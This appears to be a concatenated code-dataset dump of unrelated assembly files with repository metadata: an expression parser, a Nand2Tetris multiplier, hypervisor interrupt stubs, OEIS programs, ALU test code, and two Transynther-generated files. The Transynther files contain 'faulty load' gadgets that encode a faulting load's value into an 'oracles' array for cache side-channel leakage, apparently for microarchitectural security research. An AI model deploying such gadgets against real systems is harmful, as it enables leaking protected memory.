global expression global term global factor section .text ; `factor(char *p, int *i)` ; Evaluates "(expression)" or "number" expressions ; @params: ; p -> the string to be parsed ; i -> current position in the string ; @returns: ; the result of the parsed expression factor: push ebp mov ebp, esp mov ecx, [esp + 8] ; *p - sirul mov edx, [esp + 12] ; *i - pointer pozitie ; Punem valoarea lui ebx pe stiva pentru a putea folosi registrul push ebx ; Initializam rezultatul mov eax, 0 verificare: ; Verific daca este cifra mov edi, [edx] cmp [ecx+edi], byte 48 ; 48 = '0' jge mai_mare_0 jmp continuare_factor mai_mare_0: ; O cifra se incadreaza de la 0 la 9 cmp [ecx+edi], byte 57 ; 57 = '9' jle mai_mic_9 jmp continuare_factor mai_mic_9: ; Salvam eax push eax ; Cifra curenta in eax xor eax, eax mov al, [ecx+edi] sub al, '0' mov ebx, eax ; Numarul curent in eax pop eax ; Inmultim cu 10 si adunam cifra curenta mov esi, 10 ; Salvam adresa pozitiei push edx xor edx, edx mul esi xor edx, edx add eax, ebx ; Repunem adresa pozitiei si o actualizam pop edx inc dword edi mov [edx], edi jmp verificare continuare_factor: ; Verificam daca avem paranteza mov edi, [edx] cmp [ecx+edi], byte 40 ; 40 = '(' je paranteza jmp final_factor paranteza: ; Daca avem paranteze, rezolvam ce e inauntru inc dword edi mov [edx], edi push edx push ecx call expression add esp, 8 ; Actualizam pozitia mov edi, [edx] inc dword edi mov [edx], edi jmp final_factor final_factor: ; Repunem valoarea in ebx pop ebx ; Avem rezultatul in eax leave ret ; `term(char *p, int *i)` ; Evaluates "factor" * "factor" or "factor" / "factor" expressions ; @params: ; p -> the string to be parsed ; i -> current position in the string ; @returns: ; the result of the parsed expression term: push ebp mov ebp, esp mov ecx, [esp + 8] ; *p - sirul mov edx, [esp + 12] ; *i - pointer pozitie ; Punem valoarea lui ebx pe stiva pentru a putea folosi registrul push ebx ; Punem adresa sirului pe stiva push ecx ; Apelam functia factor push edx push ecx call factor add esp, 8 ; Salvam rezultatul functiei in rez ; Refacem sirul pop ecx ; Salvam eax push eax ; Salvam pozitia curenta in [pozitie] mov eax, [edx] ;mov [pozitie], eax mov edi, eax pop eax verificare_term_prod: mov edi, [edx] cmp [ecx+edi], byte 42 ; 42 = '*' je in_loop jmp verificare_term_imp verificare_term_imp: mov edi, [edx] cmp [ecx+edi], byte 47 ; 47 = '/' je in_loop jmp final_term in_loop: cmp [ecx+edi], byte 42 ; '*' je inmultire cmp [ecx+edi], byte 47 ; '/' je impartire jmp verificare_term_prod inmultire: ; Cazul de inmultire ; Salvam rezultatul push eax ; Punem noua pozitie in edx inc dword edi mov eax, edi mov [edx], eax ; Apelam functia de rezultat push edx push ecx call factor add esp, 8 ; Punem rezultatul inapoi pop edi ; In edi avem primul termen ; In eax avem al doilea termen ; Salvam adresa pozitiei push edx xor edx, edx mul edi xor edx, edx ; Recuperam adresa pozitiei pop edx jmp verificare_term_prod impartire: ; Cazul de impartire ; Salvam rezultatul push eax ; Punem noua pozitie in edx inc dword edi mov eax, edi mov [edx], eax ; Apelam functia de rezultat push edx push ecx call factor add esp, 8 ; Punem rezultatul inapoi pop edi ; Interschimbam valorile xchg eax, edi ; In eax avem deimpartitul ; In edi avem impartitorul ; Salvam adresa pozitiei push edx xor edx, edx cdq idiv edi xor edx, edx ; Recuperam adresa pozitiei pop edx jmp verificare_term_prod final_term: ; Repunem valoarea in ebx pop ebx ; Avem in eax rezultatul leave ret ; `expression(char *p, int *i)` ;Evaluates "term" + "term" or "term" - "term" expressions ; @params: ; p -> the string to be parsed ; i -> current position in the string ; @returns: ; the result of the parsed expression expression: push ebp mov ebp, esp mov ecx, [ebp + 8] ; *p - sirul mov edx, [ebp + 12] ; *i - pointer pozitie ; Punem valoarea lui ebx pe stiva pentru a putea folosi registrul push ebx ; Punem adresa sirului pe stiva push ecx ; Apelam functia term push edx push ecx call term add esp, 8 ; Salvam rezultatul functiei in rez ; Refacem sirul pop ecx verificare_term_add: mov ebx, [edx] cmp [ecx+ebx], byte 43 ; 43 = '+' je in_loop_expr jmp verificare_term_sub verificare_term_sub: cmp [ecx+ebx], byte 45 ; 45 = '-' je in_loop_expr jmp final_expr in_loop_expr: ; Verificam ce operatie avem de facut cmp [ecx+ebx], byte 43 ; '+' je adunare cmp [ecx+ebx], byte 45 ; '-' je scadere jmp verificare_term_add adunare: ; Cazul de adunare ; Salvam rezultatul push eax inc dword ebx mov eax, ebx mov [edx], eax ; Apelam functia de rezultat push edx push ecx call term add esp, 8 ; Recuperam rezultatul in edi pop edi add eax, edi jmp verificare_term_add scadere: ; Cazul de scadere ; Salvam rezultatul push eax ; Crestem pozitia si o salvam inc dword ebx mov eax, ebx mov [edx], eax ; Apelam functia de rezultat push edx push ecx call term add esp, 8 ; Recuperam rezultatul pop edi xchg eax, edi sub eax, edi jmp verificare_term_add final_expr: ; Repunem valoarea in ebx pop ebx ; Avem in eax rezultatul leave ret
23.336842
69
0.554804
9b1d642d5844f856e91c1f4c90833ef07b712a72
731
asm
Assembly
Hardware/Project 04/Mult/Mult.asm
itopaloglu83/Nand-to-Tetris
151d56869cfe5ec5938ffbe1606c6115892bfa5c
[ "MIT" ]
1
2022-03-05T22:51:48.000Z
2022-03-05T22:51:48.000Z
Hardware/Project 04/Mult/Mult.asm
itopaloglu83/Nand-to-Tetris
151d56869cfe5ec5938ffbe1606c6115892bfa5c
[ "MIT" ]
null
null
null
Hardware/Project 04/Mult/Mult.asm
itopaloglu83/Nand-to-Tetris
151d56869cfe5ec5938ffbe1606c6115892bfa5c
[ "MIT" ]
3
2021-02-03T01:43:10.000Z
2022-01-18T14:39:06.000Z
// File: Mult.asm // ----- // Author: Ihsan TOPALOGLU (itopaloglu83@gmail.com) // Date: 23 May 2020 // Course: Nand to Tetris, Part 1 // // Summary: Multiplies two numbers. // // This file is part of www.nand2tetris.org // and the book "The Elements of Computing Systems" // by Nisan and Schocken, MIT Press. // File name: projects/04/Mult.asm // Multiplies R0 and R1 and stores the result in R2. // (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.) // Put your code here. // R2 = 0 @R2 M=0 (LOOP) // if R1 == 0 goto END @R1 D=M @END D;JEQ // R2 = R2 + R0 @R0 D=M @R2 M=D+M // R1 = R1 - 1 @R1 M=M-1 // Goto LOOP @LOOP 0;JMP // Program Ends. (END) @END 0;JMP
14.918367
67
0.584131
60402fcb2e06f2f464534148b12e1b8b2253fce0
7,631
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_651.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_651.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_651.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1495d, %r15 add $35703, %r12 movups (%r15), %xmm1 vpextrq $0, %xmm1, %rdx nop nop nop nop dec %rdi lea addresses_normal_ht+0x1e85d, %rsi lea addresses_A_ht+0x1465d, %rdi inc %rbp mov $40, %rcx rep movsb nop inc %rbp lea addresses_WT_ht+0x8ed, %rbp xor $24137, %rcx mov (%rbp), %r15 nop nop nop nop add $54199, %r15 lea addresses_normal_ht+0x547d, %rsi lea addresses_WC_ht+0x9d5d, %rdi nop nop cmp $54915, %rbp mov $57, %rcx rep movsb nop nop nop cmp $18112, %r15 lea addresses_A_ht+0xf35d, %rsi lea addresses_WC_ht+0xeb9d, %rdi nop nop cmp $6688, %r13 mov $122, %rcx rep movsb nop nop nop nop nop inc %r13 lea addresses_A_ht+0x275d, %rbp nop nop nop nop add %r13, %r13 mov (%rbp), %edi nop nop nop nop xor %rdi, %rdi lea addresses_A_ht+0x955d, %r12 nop nop nop cmp $12066, %r15 mov $0x6162636465666768, %r13 movq %r13, %xmm5 and $0xffffffffffffffc0, %r12 movaps %xmm5, (%r12) nop nop nop add $3276, %rdi lea addresses_WT_ht+0x1bd8d, %rdx nop nop cmp %r15, %r15 mov $0x6162636465666768, %r12 movq %r12, %xmm4 and $0xffffffffffffffc0, %rdx vmovntdq %ymm4, (%rdx) nop nop nop xor $16684, %rcx lea addresses_A_ht+0xc33d, %r15 nop and $14955, %r13 mov (%r15), %edi nop nop nop nop nop sub %r12, %r12 lea addresses_UC_ht+0x95d, %r15 xor %rdx, %rdx vmovups (%r15), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %rbp nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x144bd, %rdx nop nop cmp $41606, %r15 vmovups (%rdx), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r13 nop nop nop nop sub %rdx, %rdx lea addresses_normal_ht+0x1118d, %r12 mfence movb $0x61, (%r12) nop add %r13, %r13 lea addresses_UC_ht+0x1905d, %rsi lea addresses_WT_ht+0x10d9d, %rdi nop nop nop nop nop cmp $23808, %r15 mov $116, %rcx rep movsb nop sub $53735, %r13 lea addresses_WT_ht+0x1162d, %r15 clflush (%r15) nop nop nop cmp %rsi, %rsi movups (%r15), %xmm3 vpextrq $1, %xmm3, %rdx nop nop inc %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %rbp // Faulty Load lea addresses_A+0x55d, %r15 inc %r8 vmovups (%r15), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r10 lea oracles, %r8 and $0xff, %r10 shlq $12, %r10 mov (%r8,%r10,1), %r10 pop %rbp pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
35.493023
2,999
0.659022
7c31eb52a99b2be939cb143b3a3e5155992455f9
1,835
asm
Assembly
src/pv_kernel/interrupt.asm
PaddleFlow/NoirPvCuda
a7895ff635d94bd9d27a5acf957a6a9f3bf1744a
[ "Apache-2.0" ]
null
null
null
src/pv_kernel/interrupt.asm
PaddleFlow/NoirPvCuda
a7895ff635d94bd9d27a5acf957a6a9f3bf1744a
[ "Apache-2.0" ]
null
null
null
src/pv_kernel/interrupt.asm
PaddleFlow/NoirPvCuda
a7895ff635d94bd9d27a5acf957a6a9f3bf1744a
[ "Apache-2.0" ]
null
null
null
.code extern PvDummyPrinter:proc extern PvTimerInterruptHandler:proc gpr_stack_size equ 80h ; Macro for pushing all GPRs to stack. pushaq_fast macro rsp_offset mov qword ptr [rsp+rsp_offset+00h],rax mov qword ptr [rsp+rsp_offset+08h],rcx mov qword ptr [rsp+rsp_offset+10h],rdx mov qword ptr [rsp+rsp_offset+18h],rbx mov qword ptr [rsp+rsp_offset+28h],rbp mov qword ptr [rsp+rsp_offset+30h],rsi mov qword ptr [rsp+rsp_offset+38h],rdi mov qword ptr [rsp+rsp_offset+40h],r8 mov qword ptr [rsp+rsp_offset+48h],r9 mov qword ptr [rsp+rsp_offset+50h],r10 mov qword ptr [rsp+rsp_offset+58h],r11 mov qword ptr [rsp+rsp_offset+60h],r12 mov qword ptr [rsp+rsp_offset+68h],r13 mov qword ptr [rsp+rsp_offset+70h],r14 mov qword ptr [rsp+rsp_offset+78h],r15 endm pushaq macro sub rsp,gpr_stack_size pushaq_fast 0h endm ; Macro for popping all GPRs from stack. popaq_fast macro rsp_offset mov rax,qword ptr [rsp+rsp_offset] mov rcx,qword ptr [rsp+rsp_offset+8] mov rdx,qword ptr [rsp+rsp_offset+10h] mov rbx,qword ptr [rsp+rsp_offset+18h] mov rbp,qword ptr [rsp+rsp_offset+28h] mov rsi,qword ptr [rsp+rsp_offset+30h] mov rdi,qword ptr [rsp+rsp_offset+38h] mov r8, qword ptr [rsp+rsp_offset+40h] mov r9, qword ptr [rsp+rsp_offset+48h] mov r10,qword ptr [rsp+rsp_offset+50h] mov r11,qword ptr [rsp+rsp_offset+58h] mov r12,qword ptr [rsp+rsp_offset+60h] mov r13,qword ptr [rsp+rsp_offset+68h] mov r14,qword ptr [rsp+rsp_offset+70h] mov r15,qword ptr [rsp+rsp_offset+78h] endm popaq macro popaq_fast 0h add rsp,gpr_stack_size endm PvTimerInterrupt proc ; Timer interrupt occured! iretq PvTimerInterrupt endp PvDummyInterrupt proc ; Print a string in order to respond to this dummy interrupt. ; Save all volatile registers. pushaq call PvDummyPrinter popaq iretq PvDummyInterrupt endp end
22.108434
62
0.762943
4c3d4acafb5761c1851a87af2c569401b872f97c
345
asm
Assembly
oeis/128/A128116.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/128/A128116.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/128/A128116.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A128116: A128064 * A122432. ; Submitted by Simon Strandgaard ; 1,5,2,12,7,3,22,15,9,4,35,26,18,11,5,51,40,30,21,13,6,70,57,45,34,24,15,7,92,77,63,50,38,27,17,8,117,100,84,69,55,42,30,19,9,145,126,108,91,75,60,46,33,21,10 lpb $0 add $1,1 sub $0,$1 lpe sub $1,$0 mul $0,2 add $0,$1 add $0,2 add $0,$1 add $0,$1 mul $1,$0 add $0,$1 div $0,2
19.166667
159
0.617391
82b46a246e18e556c14040fbf7aa12554499667c
410
asm
Assembly
Assembler/AssemblyCode/LowLevel/ALU_OR.asm
KPU-RISC/KPU
9f85c322e1b8489eef31f0696799e0c6c7273c0e
[ "MIT" ]
8
2017-04-16T16:53:03.000Z
2021-09-14T22:29:28.000Z
Assembler/AssemblyCode/LowLevel/ALU_OR.asm
KPU-RISC/KPU
9f85c322e1b8489eef31f0696799e0c6c7273c0e
[ "MIT" ]
null
null
null
Assembler/AssemblyCode/LowLevel/ALU_OR.asm
KPU-RISC/KPU
9f85c322e1b8489eef31f0696799e0c6c7273c0e
[ "MIT" ]
null
null
null
; Set register D to "10001111" SET A, "1000" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT D ; Set register E to "01100000" SET A, "0110" SET B, "0000" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT E ; Perform the OR operation MOV_ALU_IN A, D MOV_ALU_IN B, E OR MOV_ALU_OUT F HLT
11.714286
30
0.77561
ad4c1e07954b4d6a47a5448df6b30316349fcdc1
26
asm
Assembly
test/jzas/symboltable/invalid/fail03.asm
scoffey/jz80sim
0de07a5ef51a1e7131b27056744459f29cd11d39
[ "MIT" ]
1
2015-03-27T15:58:50.000Z
2015-03-27T15:58:50.000Z
test/jzas/symboltable/invalid/fail03.asm
scoffey/jz80sim
0de07a5ef51a1e7131b27056744459f29cd11d39
[ "MIT" ]
null
null
null
test/jzas/symboltable/invalid/fail03.asm
scoffey/jz80sim
0de07a5ef51a1e7131b27056744459f29cd11d39
[ "MIT" ]
null
null
null
var1: equ 99 var1: defl 0
8.666667
12
0.692308
58ba232d6fa7b0b863b99266b8cac4e3c470ffff
344
asm
Assembly
programs/oeis/029/A029127.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/029/A029127.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/029/A029127.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A029127: Expansion of 1/((1-x)(1-x^8)(1-x^9)(1-x^10)). ; 1,1,1,1,1,1,1,1,2,3,4,4,4,4,4,4,5,6,8,9,10,10,10,10,11,12,14,16,18,19,20,20,21,22,24,26,29,31,33,34,36,37,39,41,44,47,50,52,55,57,60,62,65,68,72,75,79,82,86,89,93 lpb $0 mov $2,$0 sub $0,8 seq $2,25791 ; Expansion of 1/((1-x)(1-x^9)(1-x^10)). add $1,$2 lpe add $1,1 mov $0,$1
28.666667
164
0.56686
6b0d764e9de2c4ec8f7a9f8ef3ba7e4df5a1eb27
4,382
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1966.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1966.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1966.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rsi lea addresses_UC_ht+0x13b23, %r13 nop nop nop cmp %r11, %r11 and $0xffffffffffffffc0, %r13 vmovntdqa (%r13), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi nop nop and %r9, %r9 pop %rsi pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi // Store lea addresses_A+0x9d83, %rax nop sub %rbp, %rbp movw $0x5152, (%rax) nop nop nop cmp $35587, %rbp // Faulty Load lea addresses_A+0xca23, %rsi nop nop nop nop nop lfence vmovups (%rsi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r9 lea oracles, %r10 and $0xff, %r9 shlq $12, %r9 mov (%r10,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 